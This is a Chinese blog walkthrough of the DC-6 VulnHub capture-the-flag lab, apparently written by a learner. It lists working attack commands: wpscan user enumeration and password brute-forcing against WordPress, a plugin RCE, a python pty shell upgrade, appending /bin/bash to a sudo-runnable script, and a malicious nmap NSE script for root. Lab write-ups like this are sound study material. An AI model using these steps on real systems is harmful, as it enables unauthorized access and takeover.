dc-6题解

一、收集信息

1.ip:192.168.10.16

网络选择的是net,自动分配的地址

 2.端口

开启了22和80两个常用端口,而且都是open状态

二、漏洞探测

dirsearch -u http://192.168.10.16

index.php阔以看件框架(看攻略,我应该是访问不了的,这里可能是卡出来的)

上网搜索一下wordpress的漏洞,发现一个一会可能阔以用的,留一个描点。他说登陆上有漏洞,具体去看下面这个博客,我继续自己摸索了。

Wordpress漏洞复现_刘正2001的博客-CSDN博客

没成功,试过了

 但是!!!,我敲为什么登不上去,我还以为是因为自己的电脑的问题,第一次遇见这种事情,百度去

上网搜了一下

网上说阔以访问的,他自动跳转到wordy这个网页了,但是无法访问,需要加一下域名。

添加一个域名解析 

vim / etc/hosts

192.168.10.16 wordy

再去访问发现访问的就是wordy了

但是www.wordy.com和这个有什么区别呢?就是这个 

有学到一个新东西,用来

wpscan --url http://wordy/ --enumerate u
--enumerate是枚举的意思

扫描出几个用户名字,这些用户是用来登陆这个网页的

admin

jens

graham

mark

sarah

 以前我还学过cewl,试试

cewl http://192.168.10.16 --debug -w /etc/dc-6/cewl_user.txt
--debug,深度挖掘

失败,什么都没有扫描出来

找到一个阔以登陆的地方

sql注入试试,万能密码登陆失败

上网找漏洞,顺便爆破着,反正知道账户了,只爆破密码就行

用searchsploit,我想法错了,但我还是想写一下,这个是渗透进去再用的

没有什么有效漏洞

提示地址:DC: 6 ~ VulnHub

cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt

gzip -d /usr/share/wordlists/rockyou.txt.gz

注意路径!

cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt

我顺便用弱口令破解着

wpscan爆破出

mark / helpdesk01

我们ssh登陆试试,也有可能是网页的账号和密码

ssh登陆失败,应该是网页的,毕竟是wpscan扫描出来的

不是这个网页,是这个

searchsploit Activity monitor

然后提交

不行,没检测到

手动rce吧

python -c 'import pty;pty.spawn("/bin/bash")'

先sudo -l

啥都没有,还让我输入密码

新用户:graham 

密码:GSo7isUM1D4

三、漏洞验证

可以看到有一定的jens的!!!!权限

查看文件内容,是解压文件用的,我们试试看能不能写进去一点东西

文件是jens这个用户的

echo "/bin/bash" >> /home/jens/backups.sh

sudo -u jens /home/jens/backups.sh

nmap,可执行文件

成功了

flag在cat ./theflag.txt,不用去根目录下

问题

1.为什么要添加域名,才能访问到index.php?

2.水平提权的那两个命令时抄的,不太理解

echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

本来这个文件只有解压缩的功能,但是加上/bin/bash后,就有了执行命令的权限

1)为什么使用这一句sudo -u jens /home/jens/backups.sh不用填密码呢?

-u jens 参数指定了以 jens 用户的身份来执行后续的命令。这表示命令将在 jens 用户的环境中运行,具有与该用户相关联的权限和配置。

在某些情况下,当你使用 sudo 命令运行某个命令或脚本时,系统可能会根据你的设置省略输入密码的步骤。这需要你的用户帐户在 sudoers 文件中正确配置。如果没有要求密码验证,那么在执行 sudo 命令时就不会提示输入密码。

2)垂直提权时候的这个命令,不太懂

echo "os.execute('/bin/bash')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

os.execute('/bin/bash') 是一行Lua代码,用于在计算机上执行一个指定的命令或脚本。在这个例子中,它启动了一个新的Bash shell。

具体来说,os.execute() 是一个Lua函数,用于在操作系统上执行一个命令。在这里,'/bin/bash' 是要执行的命令,它指定了在计算机上启动Bash shell的路径。当这个函数执行时,它会在操作系统中启动一个新的Bash shell进程,将用户连接到该shell中,并允许他们在其中执行命令。

登陆用户可以使用 /bin/bash 作为其默认的登录 shell。当用户成功登录到 Linux 系统时,系统会为其启动一个交互式的 shell 进程,用于接受用户输入和执行命令。Bash shell 是 Linux 系统的默认 shell,因此登录用户的默认 shell 通常是 /bin/bash

用户可以通过设置 /etc/passwd 文件中的登录 shell 来更改其默认 shell。该文件包含了系统中所有用户的账户信息,包括用户名、用户ID、组ID和登录 shell 等。

/etc/passwd 文件中,每个用户的条目都以冒号分隔的字段形式呈现,其中的第七个字段表示默认的登录 shell。对于大多数用户来说,这个字段的值会设置为 /bin/bash,以便他们登录后可以使用 Bash shell 进行交互。

例如,一个典型的 /etc/passwd 文件的用户条目可能如下所示:

john:x:1000:1000:John Doe:/home/john:/bin/bash

上述示例中,用户 "john" 的默认登录 shell 是 /bin/bash。因此,当用户 "john" 登录到系统时,将启动一个 Bash shell 进程,用户可以在其中执行命令、运行脚本等操作。

猜你喜欢

转载自blog.csdn.net/m0_71274136/article/details/132119169
DC